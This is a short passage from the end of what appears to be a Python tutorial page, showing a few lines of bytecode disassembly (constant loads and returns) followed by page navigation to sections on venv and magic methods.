    >>   40 LOAD_CONST          6 (6)
         43 RETURN_VALUE   
         44 LOAD_CONST          0 (0)
         47 RETURN_VALUE

References

****

Previousvenv NextMagic Methods

Last updated 3 years ago

Was this helpful?